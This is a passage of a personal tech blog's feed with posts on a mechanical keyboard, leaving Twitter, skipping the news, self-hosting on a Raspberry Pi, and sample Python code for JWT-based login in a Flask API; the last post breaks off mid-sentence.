<updated>2020-08-22T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-08-22:blog/ducky-one-2</id>
<link href="https://icyphox.sh/blog/ducky-one-2"></link>
<summary type="html">&lt;h2&gt;I fell for the mechanical keyboard meme&lt;/h2&gt;&#xA;&lt;p&gt;Thanks to the pandemic yada yada I&amp;rsquo;ve been working from home (and&#xA;attending college from home), and I figured my WFH setup could use an&#xA;upgrade. Unfortunately, the choices for mechanical keyboards in India are&#xA;fairly limited. All imports from China don&amp;rsquo;t get through, and imports&#xA;from elsewhere have a &lt;em&gt;fat&lt;/em&gt; duty slapped on it&amp;mdash;sometimes up to&#xA;300%&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;. It&amp;rsquo;s obscene!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reliable source I&amp;rsquo;ve found (and folks on&#xA;&lt;a href=&#34;https://reddit.com/r/mkindia&#34; rel=&#34;nofollow&#34;&gt;r/mkindia&lt;/a&gt; will concur), is&#xA;&lt;a href=&#34;https://meckeys.com&#34; rel=&#34;nofollow&#34;&gt;Meckeys&lt;/a&gt;. They aren&amp;rsquo;t particularly abundant in&#xA;variety, but there&amp;rsquo;s some decent prebuilts that you can pick up on&#xA;there&amp;mdash;and I copped the Ducky One 2 SF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/5LSG7.jpg&#34; alt=&#34;Ducky One 2 SF side view&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It&amp;rsquo;s a 65% board, so unlike standard 60% boards, this comes with arrow&#xA;keys and the &lt;code&gt;Del&lt;/code&gt;, &lt;code&gt;PgUp&lt;/code&gt; and &lt;code&gt;PgDn&lt;/code&gt; keys. I don&amp;rsquo;t &lt;em&gt;really&lt;/em&gt; need the&#xA;arrow keys, but they do come handy on the occasion&amp;mdash;like scrolling,&#xA;for example. Since this board lacks the function row, the &lt;code&gt;Esc&lt;/code&gt; and the&#xA;&lt;code&gt;~&lt;/code&gt; keys are merged. I have to hit &lt;code&gt;Shift + Esc&lt;/code&gt; for tilde (same action&#xA;as usual), and &lt;code&gt;Fn + Esc&lt;/code&gt; for the backtick. Takes a bit of relearning,&#xA;but it&amp;rsquo;s manageable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/tRdNw.jpg&#34; alt=&#34;Ducky One 2 SF top-down view&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key switches I went with were the Cherry MX Speed Silvers&amp;mdash;like&#xA;Reds but actuate a bit faster. As it&amp;rsquo;s my first ever mechanical&#xA;keyboard, I don&amp;rsquo;t really have anything to compare it against. It feels&#xA;&lt;em&gt;great&lt;/em&gt;, but it was pretty jarring initially because even the slightest&#xA;touch (with the palm for instance), would cause a key to actuate, leading&#xA;to typos. Again, just a matter of getting accustomed to it; all smooth&#xA;sailing after. Why did I pick the Speed Silvers? The other switch&#xA;options were out of stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I think I really quite like linear switches. They&amp;rsquo;re not&#xA;&lt;em&gt;too&lt;/em&gt; noisy, and they feel just right. I haven&amp;rsquo;t noticed any great&#xA;improvement in my typing speeds though&amp;mdash;I still maintain an average of&#xA;90&amp;ndash;100 WPM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The One 2 SF is fully RGB, i.e. each key is individually lit. Not that&#xA;I make big use it. I have it set to plain white, and only light up under&#xA;the key I&amp;rsquo;m currently pressing. Yes, this also makes it incredibly easy&#xA;for people to shoulder-peek your passwords. I certainly won&amp;rsquo;t be using&#xA;it outside home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keyboard itself cost 9599 INR, which is about 128 USD. Meckeys&#xA;took exactly 10 days to ship it (3rd Aug - 13th Aug). Overall, it&amp;rsquo;s&#xA;a lovely keyboard, and I &lt;em&gt;cannot&lt;/em&gt; type on my laptop&amp;rsquo;s low-travel&#xA;chiclet-style keyboard, again. There&amp;rsquo;s just no going back.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;https://www.reddit.com/r/mkindia/comments/hzyoof/i_see_many_spreading_misinformation_about_import/&#34; rel=&#34;nofollow&#34;&gt;Reddit link&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Some thoughts on Twitter</title>
<updated>2020-08-03T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-08-03:blog/twitter</id>
<link href="https://icyphox.sh/blog/twitter"></link>
<summary type="html">&lt;h2&gt;I&#39;ve begun avoiding Twitter, here&#39;s why&lt;/h2&gt;&#xA;&lt;p&gt;This post has been a long time coming. Earlier this year, I decided to&#xA;not actively participate on Twitter, and stick to the fediverse&#xA;primarily. This has been quite possibly the best decision I&amp;rsquo;ve made,&#xA;with regard to curating my social / informational feeds&amp;mdash;apart from&#xA;&lt;a href=&#34;/blog/dont-news&#34;&gt;not reading news&lt;/a&gt;. I&amp;rsquo;ll try to gloss over some reasons&#xA;as to why I dislike Twitter as a platform, in this post. Bear in mind,&#xA;these are based on my experiences and YMMV.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;filter-bubbles-and-radicalization&#34;&gt;filter bubbles and radicalization&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I think this can be said about any social network, but the way that&#xA;Twitter is designed only further enables this phenomenon. The more you&#xA;interact / show interest in a specific topic, the more you see of the&#xA;same&amp;mdash;in terms of suggested accounts to follow, notifications/email telling&#xA;you XYZ tweeted this (you probably don&amp;rsquo;t even follow XYZ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve experienced this first hand. I created an alt and followed a few&#xA;prominent right-wing accounts (for science!), and within a day or two,&#xA;my notifications and inbox were filled with similar accounts &amp;amp; tweets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This, as a result, means the user is much more likely to see content&#xA;similar to their own perspectives&amp;mdash;a &lt;em&gt;filter bubble&lt;/em&gt;. The user is&#xA;effectively isolated in their own ideological bubbles. Consequentially,&#xA;any form of disagreement that occurs is tossed aside as &lt;em&gt;the other&#xA;party&amp;rsquo;s&lt;/em&gt; flaw.&#xA;Surely they wouldn&amp;rsquo;t hold that perspective if they could see things&#xA;&lt;em&gt;your&lt;/em&gt; way! It&amp;rsquo;s &lt;em&gt;their&lt;/em&gt; ignorance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One might argue, however, that they do in fact see a lot of opposing&#xA;viewpoints in their feed. After all, most of mainstream discourse on&#xA;Twitter is just derisive tweets by proponents of either side&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, at&#xA;each other. The left quote-tweeting the right and vice versa, for&#xA;example. In fact, this is pretty much all that today&amp;rsquo;s &amp;ldquo;news&amp;rdquo; is&#xA;about&amp;mdash;constant, endless rebuttals to the other&amp;rsquo;s perspective.&#xA;I still think this &lt;em&gt;is&lt;/em&gt; filter bubbling&amp;mdash;the constant&#xA;reaffirmation of your ideologies, by taking potshots at the other side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what does constant exposure to a singular viewpoint lead to? That&amp;rsquo;s&#xA;right, radicalization. I won&amp;rsquo;t get into too much detail&amp;mdash;there really&#xA;isn&amp;rsquo;t much to say. I&amp;rsquo;ll just add that I know of a few cases IRL, where&#xA;within little over a year of having created a Twitter account the&#xA;person&amp;rsquo;s political and ideological positions became hard lines&amp;mdash;and&#xA;they now straight up refuse to look at things any other way. This is by&#xA;no means a scientific conclusion; there are various other influencing&#xA;factors, but my point still stands.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;favors-mistakes-over-apologies&#34;&gt;favors mistakes over apologies&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Twitter&amp;rsquo;s design is plagued with flaws, but this one takes the cake. If&#xA;you screw up or tweet something incorrect, and it happens to go viral,&#xA;there&amp;rsquo;s literally no good way to publish a correction / apology. Quoting&#xA;the fantastic article by Nick Punt on &lt;a href=&#34;https://nickpunt.com/blog/deescalating-social-media/&#34; rel=&#34;nofollow&#34;&gt;deescalating conflict on social&#xA;media&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If we ignore replies, the simple amplification effects of likes,&#xA;replies, retweets, and subtweets leave us exposed and the situation&#xA;can get out of hand. If we delete and post another, people are&#xA;unlikely to see our follow-up, as corrections are rarely viral.&#xA;Similarly, even if we reply, only our viral mistake will be seen in&#xA;the feed of others.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2 id=&#34;too-much-uspol&#34;&gt;too much USPOL&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This might be a non-issue for US residents, but gosh is it irritating to&#xA;see US politics literally everywhere. I&amp;rsquo;m of the opinion that USPOL is&#xA;given an unfair amount of attention in mainstream discourse&amp;mdash;to the&#xA;point where it overshadows everything else, and Twitter is no exception.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;generally-unhealthy-discourse&#34;&gt;generally unhealthy discourse&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you take a close look at the overarching theme of most Tweets, or&#xA;even just the popular ones&amp;mdash;you&amp;rsquo;ll notice a fairly negativist outlook&#xA;across most, if not all of them. The&#xA;&lt;a href=&#34;https://reddit.com/r/2meirl4meirl&#34; rel=&#34;nofollow&#34;&gt;r/2meirl4meirl&lt;/a&gt; kind.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; This is&#xA;a very unhealthy environment to socialize in. Constantly brooding over&#xA;things you can&amp;rsquo;t really affect is quite pointless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another general theme is the constant need for one-upping the other&amp;mdash;the&#xA;never-ending contest of who&amp;rsquo;s going to post the most clever&#xA;comeback. For what? For the likes and retweets, of course. This is also&#xA;what most of &amp;ldquo;cancel culture&amp;rdquo; is really about&amp;mdash;pick a target, post&#xA;screenshots, add a snide remark: voilà, you have a somewhat popular&#xA;tweet.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;why-don-t-you-just-curate-your-feed-then-bro&#34;&gt;why don&amp;rsquo;t you just curate your feed then bro?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Yeah, no. I&amp;rsquo;ve tried. The problem is, following someone for the&#xA;technical content doesn&amp;rsquo;t imply they&amp;rsquo;re constantly only going to post&#xA;that&amp;mdash;and that&amp;rsquo;s their prerogative. And Twitter&amp;rsquo;s annoying &amp;ldquo;XYZ liked&#xA;this tweet&amp;rdquo; doesn&amp;rsquo;t help either. Trying to make your Twitter timeline&#xA;BS-free is like trying to straighten a dog&amp;rsquo;s tail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what do I suggest then? I really don&amp;rsquo;t know. Honestly, all social&#xA;media sucks. The entire idea is so contrived and the world would&amp;rsquo;ve been&#xA;better off without it&amp;mdash;the incessant, mind-numbing feed of&#xA;information. But the shinier turd here is the fediverse. It&amp;rsquo;s not&#xA;governed by &lt;code&gt;$BIGTECH&lt;/code&gt;, and extremists have decided to stick to their&#xA;own echo chambers like Gab. Oh, and the other side propagates massive&#xA;blocklists for the tiniest of infractions (defined by them), so they&#xA;effectively echo chambered themselves too. I&amp;rsquo;m not complaining.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;ldquo;All social media sucks, but the fediverse sucks less.&amp;rdquo;&lt;br /&gt;&#xA;— Me, 2020&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;p&gt;By which I mean any two ideologically opposing groups.&#xA;Not restricted to politics.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;Most posts on that sub are just screenshots of tweets, so&amp;hellip; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Status update</title>
<updated>2020-07-20T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-07-20:blog/2020-07-20</id>
<link href="https://icyphox.sh/blog/2020-07-20"></link>
<summary type="html">&lt;h2&gt;Things I&#39;ve been up to, for the past month-ish&lt;/h2&gt;&#xA;&lt;p&gt;I realize I haven&amp;rsquo;t updated this site in a while&amp;mdash;mostly due to lack&#xA;of time. The past two weeks have been pretty busy (read: I now actually&#xA;have work to do), which also means I have very little time to devote to&#xA;personal projects. Anyway, on with the update.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;i-now-work-at-cometchat&#34;&gt;I now work at CometChat&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve begun working as an Engineering Intern at&#xA;&lt;a href=&#34;https://www.cometchat.com&#34; rel=&#34;nofollow&#34;&gt;CometChat&lt;/a&gt;. It&amp;rsquo;s been a very interesting&#xA;experience so far. Most of my work revolves around infrastructure and&#xA;platform engineering&amp;mdash;pretty exciting stuff. [Oops, redacted]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also been extensively dabbling in XMPP and websocket internals,&#xA;as I&amp;rsquo;m writing a websocket proxy of sorts. I&amp;rsquo;ll probably talk about it&#xA;in a future blog post, once I get approval org-side. :^)&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;that-s-literally-it&#34;&gt;that&amp;rsquo;s literally it&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I sat all day thinking of what else to add to this post&amp;mdash;there&amp;rsquo;s &lt;em&gt;got&#xA;to be&lt;/em&gt; something else right? Not really. I don&amp;rsquo;t think I did anything&#xA;worthwhile. I did get some pretty interesting emails from people who&#xA;read this blog, so yes, please email me&amp;mdash;even if it&amp;rsquo;s just to say hi.&#xA;I always reply.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Flask-JWT-Extended × Flask-Login</title>
<updated>2020-06-24T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-06-24:blog/flask-jwt-login</id>
<link href="https://icyphox.sh/blog/flask-jwt-login"></link>
<summary type="html">&lt;h2&gt;Apparently I do webshit now&lt;/h2&gt;&#xA;&lt;p&gt;For the past few months, I&amp;rsquo;ve been working on building a backend for&#xA;&lt;code&gt;$STARTUP&lt;/code&gt;, with a bunch of friends. I&amp;rsquo;ll probably write in detail about&#xA;it when we launch our beta. The backend is your bog standard REST API,&#xA;built on Flask&amp;mdash;if you didn&amp;rsquo;t guess from the title already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our existing codebase heavily relies on&#xA;&lt;a href=&#34;https://flask-login.readthedocs.io&#34; rel=&#34;nofollow&#34;&gt;Flask-Login&lt;/a&gt;; it offers some pretty&#xA;neat interfaces for dealing with users and their states. However, its&#xA;default mode of operation&amp;mdash;sessions&amp;mdash;don&amp;rsquo;t really fit into a Flask&#xA;app that&amp;rsquo;s really just an API. It&amp;rsquo;s not optimal. Besides, this is what&#xA;&lt;a href=&#34;https://jwt.io&#34; rel=&#34;nofollow&#34;&gt;JWTs&lt;/a&gt; were built for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I won&amp;rsquo;t bother delving deep into JSON web tokens, but the general&#xA;flow is like so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;client logs in via say &lt;code&gt;/login&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;a unique token is sent in the response&lt;/li&gt;&#xA;&lt;li&gt;each subsequent request authenticated request is sent with the token&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The neat thing about tokens is you can store stuff in them&amp;mdash;&amp;ldquo;claims&amp;rdquo;,&#xA;as they&amp;rsquo;re called.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;returning-an-access-token-to-the-client&#34;&gt;returning an &lt;code&gt;access_token&lt;/code&gt; to the client&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;access_token&lt;/code&gt; is sent to the client upon login. The idea is simple,&#xA;perform your usual checks (username / password etc.) and login the user&#xA;via &lt;code&gt;flask_login.login_user&lt;/code&gt;. Generate an access token using&#xA;&lt;code&gt;flask_jwt_extended.create_access_token&lt;/code&gt;, store your user identity in it&#xA;(and other claims) and return it to the user in your &lt;code&gt;200&lt;/code&gt; response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here&amp;rsquo;s the excerpt from our codebase.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;access_token = create_access_token(identity=email)&#xA;login_user(user, remember=request.json[&amp;quot;remember&amp;quot;])&#xA;return good(&amp;quot;Logged in successfully!&amp;quot;, access_token=access_token)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, for &lt;code&gt;login_user&lt;/code&gt; to work, we need to setup a custom user loader to&#xA;pull out the identity from the request and return the user object.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;defining-a-custom-user-loader-in-flask-login&#34;&gt;defining a custom user loader in Flask-Login&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By default, Flask-Login handles user loading via the &lt;code&gt;user_loader&lt;/code&gt;&#xA;decorator, which should return a user object. However, since we want to&#xA;pull a user object from the incoming request (the token contains it),&#xA;we&amp;rsquo;ll have to write a custom user loader via the &lt;code&gt;request_loader&lt;/code&gt;&#xA;decorator.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;# Checks the &#39;Authorization&#39; header by default.&#xA;app.config[&amp;quot;JWT_TOKEN_LOCATION&amp;quot;] = [&amp;quot;json&amp;quot;]&#xA;&#xA;# Defaults to &#39;identity&#39;, but the spec prefers &#39;sub&#39;.&#xA;app.config[&amp;quot;JWT_IDENTITY_CLAIM&amp;quot;] = &amp;quot;sub&amp;quot;&#xA;&#xA;@login.request_loader&#xA;def load_person_from_request(request):&#xA; try:&#xA; token = request.json[&amp;quot;access_token&amp;quot;]&#xA; except Exception:&#xA; return None&#xA; data = decode_token(token)&#xA; # this can be your &#39;User&#39; class&#xA; person = PersonSignup.query.filter_by(email=data[&amp;quot;sub&amp;quot;]).first()&#xA; if person:&#xA; return person&#xA; return None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There&amp;rsquo;s just one mildly annoying thing to deal with, though.&#xA;Flask-Login insists on setting a session cookie. We will have to disable&#xA;this behaviour ourselves. And the best part? There&amp;rsquo;s no documentation&#xA;for this&amp;mdash;well there is, but it&amp;rsquo;s incomplete and points to deprecated&#xA;functions.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;disabling-flask-login-s-session-cookie&#34;&gt;disabling Flask-Login&amp;rsquo;s session cookie&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To do this, we define a custom session interface, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;from flask.sessions import SecureCookieSessionInterface&#xA;from flask import g&#xA;from flask_login import user_loaded_from_request&#xA;&#xA;@user_loaded_from_request.connect&#xA;def user_loaded_from_request(app, user=None):&#xA; g.login_via_request = True&#xA;&#xA;&#xA;class CustomSessionInterface(SecureCookieSessionInterface):&#xA; def should_set_cookie(self, *args, **kwargs):&#xA; return False&#xA;&#xA; def save_session(self, *args, **kwargs):&#xA; if g.get(&amp;quot;login_via_request&amp;quot;):&#xA; return&#xA; return super(CustomSessionInterface, self).save_session(*args, **kwargs)&#xA;&#xA;&#xA;app.session_interface = CustomSessionInterface()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In essence, this checks the global store &lt;code&gt;g&lt;/code&gt; for &lt;code&gt;login_via_request&lt;/code&gt; and&#xA;and doesn&amp;rsquo;t set a cookie in that case. I&amp;rsquo;ve submitted a PR upstream for&#xA;this to be included in the docs&#xA;(&lt;a href=&#34;https://github.com/maxcountryman/flask-login/pull/514&#34; rel=&#34;nofollow&#34;&gt;#514&lt;/a&gt;).&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>You don&#39;t need news</title>
<updated>2020-06-21T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-06-21:blog/dont-news</id>
<link href="https://icyphox.sh/blog/dont-news"></link>
<summary type="html">&lt;h2&gt;My hot &#39;n&#39; spicy take on &#34;news&#34; today&lt;/h2&gt;&#xA;&lt;p&gt;News&amp;mdash;the never ending feed of information pertaining to &amp;ldquo;current&#xA;events&amp;rdquo;, politics, trivia, and other equally useless junk. News today is&#xA;literally just this: &amp;ldquo;&amp;lt;big name person&amp;gt; did/said &amp;lt;dumb thing&amp;gt;!&amp;rdquo;,&#xA;&amp;ldquo;&amp;lt;group&amp;gt; protests against &amp;lt;bad thing&amp;gt;!&amp;rdquo;, and so on. Okay, shit&amp;rsquo;s going&#xA;on in this world. Another day, another thing to be &lt;code&gt;$FEELING&lt;/code&gt; about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here&amp;rsquo;s a question for you: do you remember what news you consumed&#xA;yesterday? The day before? Last week? Heck no! Maybe some major&#xA;headlines, but really, what did you gain from learning that information?&#xA;Must&amp;rsquo;ve been interesting to read &lt;em&gt;at that&lt;/em&gt; time. Hence, news, by&#xA;virtue of its &amp;ldquo;newness&amp;rdquo;, is given importance&amp;mdash;and get this, it isn&amp;rsquo;t&#xA;even important enough for you to bother remembering it for a few days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;News is entertainment. Quick gratification that lasts a day, at max.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;actionable-news&#34;&gt;actionable news&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So what is useful news, then? I think I&amp;rsquo;ll go out on a limb here, and&#xA;say &amp;ldquo;anything that is actionable&amp;rdquo;. By that I mean anything that you can&#xA;physically affect / information that you can actually put to use. Again,&#xA;there are probably edge-cases and this isn&amp;rsquo;t a rule that fits all, but&#xA;it&amp;rsquo;s a decent principle to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, to readers living outside of the US, news regarding&#xA;police brutality &amp;amp; the Black Lives Matter movement are unactionable.&#xA;I&amp;rsquo;m not saying those problems don&amp;rsquo;t exist or don&amp;rsquo;t matter, but &lt;em&gt;what&lt;/em&gt;&#xA;are you really doing to help the cause? Sending thoughts and prayers?&#xA;Posting angrily on Instagram? Tweeting about it? Stop, and think for&#xA;yourself if these things actually make any difference. Your time might&#xA;be better invested in doing something else.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;other-problems&#34;&gt;other problems&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are other, more concerning problems with modern news&amp;mdash;it is no&#xA;longer purely objective. The sad state of news / reporting today is it&amp;rsquo;s&#xA;inherently biased. I mean political bias, of course. All news is either&#xA;left-leaning or right-leaning, and narratives are developed to fit their&#xA;political stance. This is essentially propaganda. Today&amp;rsquo;s news &lt;em&gt;is&lt;/em&gt;&#xA;propaganda. If anything, this should be reason enough to avoid it.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;but-i-compare-multiple-sources&#34;&gt;but I compare multiple sources!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Okay, so you read the same thing written by CNN, BBC, The New York&#xA;Times, etc.? Do you realize how much time you wasted doing this?&#xA;Ultimately to what end&amp;mdash;to forget about it by the next day, and do it&#xA;all over again. What a dull, braindead process.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;won-t-i-be-ignorant-then&#34;&gt;won&amp;rsquo;t I be ignorant then?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you think keeping up with current events makes you intellectually&#xA;superior somehow&amp;hellip;boy are you wrong. Do something that actually&#xA;stimulates your gray matter. But, here&amp;rsquo;s the thing, if the &amp;ldquo;news&amp;rdquo; is big&#xA;enough, you&amp;rsquo;re bound to come across it anyway! You might hear your&#xA;friend discuss it, or see it on Twitter, so on and so forth. How you&#xA;process it thereafter is what matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give it a thought. Imagine if all that social media, news, and general&#xA;internet noise didn&amp;rsquo;t clog your head. I think it&amp;rsquo;ll be much nicer. You&#xA;might not, and that&amp;rsquo;s okay. Mail your thoughts or @ me on the fedi&amp;mdash;I&amp;rsquo;d&#xA;like to hear them.&lt;/p&gt;&#xA;</summary>
</entry>
<entry>
<title>Migrating to the RPi</title>
<updated>2020-06-04T00:00:00Z</updated>
<id>tag:icyphox.sh/,2020-06-04:blog/pi</id>
<link href="https://icyphox.sh/blog/pi"></link>
<summary type="html">&lt;h2&gt;Raspberry Pi shenanigans, and other things&lt;/h2&gt;&#xA;&lt;p&gt;I&amp;rsquo;d ordered the Raspberry Pi 4B (the 4GB variant), sometime early&#xA;this year, thinking I&amp;rsquo;d get to self-hosting everything on it as soon as&#xA;it arrived. As things turn out, it ended up sitting in its box up until&#xA;two weeks ago&amp;mdash;it took me &lt;em&gt;that&lt;/em&gt; long to order an SD card for it. No,&#xA;I didn&amp;rsquo;t have one. Anyway, from there began quite the wild ride.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;flashing-the-sd-card&#34;&gt;flashing the SD card&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You&amp;rsquo;d think this would be easy right? Just plug it into your laptop&amp;rsquo;s SD&#xA;card reader (or microSD), and flash it like you would a USB drive. Well,&#xA;nope. Of the three laptops at home one doesn&amp;rsquo;t have an SD card reader,&#xA;mine&amp;mdash;running OpenBSD&amp;mdash;didn&amp;rsquo;t detect it, and my brother&amp;rsquo;s&amp;mdash;running&#xA;Void&amp;mdash;didn&amp;rsquo;t detect it either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it hit me: my phone (my brother&amp;rsquo;s, actually), has an SD card slot&#xA;that actually works. Perhaps I can use the phone to flash the image?&#xA;Took a bit of DDG&amp;rsquo;ing (ducking?), but we eventually figured out that the&#xA;block-device for the SD on the phone was &lt;code&gt;/dev/mmcblk1&lt;/code&gt;. Writing to it&#xA;was just the usual &lt;code&gt;dd&lt;/code&gt; invocation.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;got-nat-d&#34;&gt;got NAT&amp;rsquo;d&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After the initial setup, I was eager to move my services off the Digital&#xA;Ocean VPS, to the RPi. I set up the SSH port forward through my router&#xA;config, as a test. Turns out my ISP has me NAT&amp;rsquo;d. The entirety of my&#xA;apartment is serviced by these fellas, and they have us all under&#xA;a CG-NAT. Fantastic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Evading this means I either lease a public IP from the ISP, or&#xA;I continue using my VPS, and port forward traffic from it via a tunnel.&#xA;I went with option two since it gives me something to do.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;nat-evasion&#34;&gt;NAT evasion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This was fairly simple to setup with Wireguard and &lt;code&gt;iptables&lt;/code&gt;. I don&amp;rsquo;t&#xA;really want to get into detail here, since it&amp;rsquo;s been documented aplenty&#xA;online, but in essence you put your VPS and the Pi on the same network,&#xA;and forward traffic hitting your internet facing interface (&lt;code&gt;eth0&lt;/code&gt;)&#xA;to the VPN&amp;rsquo;s (&lt;code&gt;wg0&lt;/code&gt;). Fairly simple stuff.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;setting-up-mastodon-on-the-pi&#34;&gt;setting up Mastodon on the Pi&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Mastodon was kind of annoying to get working. My initial plan was to&#xA;port forward only a few selected ports, have Mastodon exposed on the Pi&#xA;at some port via nginx, and then front &lt;em&gt;that&lt;/em&gt; nginx via the VPS. So&#xA;basically: Mastodon (localhost on Pi) &amp;lt;-&amp;gt; nginx (on Pi) &amp;lt;-&amp;gt; nginx (on&#xA;VPS, via Wireguard). I hope that made sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, this setup would require having Mastodon run on HTTP, since I&amp;rsquo;ll&#xA;be HTTPS&amp;rsquo;ing at the VPS. If you think about it, it&amp;rsquo;s kinda like what&#xA;Cloudflare does. But, Mastodon doesn&amp;rsquo;t like running on HTTP. It just&#xA;wasn&amp;rsquo;t working. So I went all in and decided to forward all &lt;sup&gt;80&lt;/sup&gt;&amp;frasl;&lt;sub&gt;443&lt;/sub&gt;&#xA;traffic and serve everything off the 